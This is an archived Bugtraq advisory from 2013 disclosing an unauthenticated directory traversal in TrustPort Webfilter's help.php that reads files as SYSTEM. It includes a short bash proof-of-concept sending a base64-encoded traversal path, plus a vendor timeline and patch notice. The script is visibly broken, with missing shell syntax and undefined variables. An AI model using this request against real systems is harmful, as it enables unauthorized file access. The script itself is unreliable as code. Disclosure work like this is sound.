Home page logo

bugtraq logo Bugtraq mailing list archives

Trustport Webfilter Remote File Access Vulnerability
From: oliver <oliver.karow () gmx de>
Date: Wed, 07 Aug 2013 17:20:13 +0200

Trustport Webfilter Remote File Access Vulnerability

Affected Product

Product Name: Trustport Webfilter
Product Version:
Platform: Microsoft Windows

Product/Company Information

From Trustports website:

"An advanced solution for the protection and optimization of web traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of virus infections.
Contributes to protecting the reputation of your company."

Trustports website can be found at www.trustport.com

Vulnerability Description

A vulnerability exists within the help.php script, allowing an remote attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.

In order to exploit this vulnerability, an attacker has to craft a special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).


# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./exploit.sh <IP> <path/filename>
# Example: ./exploit.sh ../../../../../Windows/win.ini

# oliver.karow () gmx de

MY_FILE=$(echo -n $2| base64)

if [ $# -eq 0 ]
   echo "Usage: `basename $0` <ip> <path/filename>"

echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client -connect $MY_IP:$MY_CONSOLEPORT -quiet

Patch Information

A patch is available from vendor.
Corrected Build is:

Advisory Information



26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor

  By Date           By Thread  

Current thread:
  • Trustport Webfilter Remote File Access Vulnerability oliver (Aug 07)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]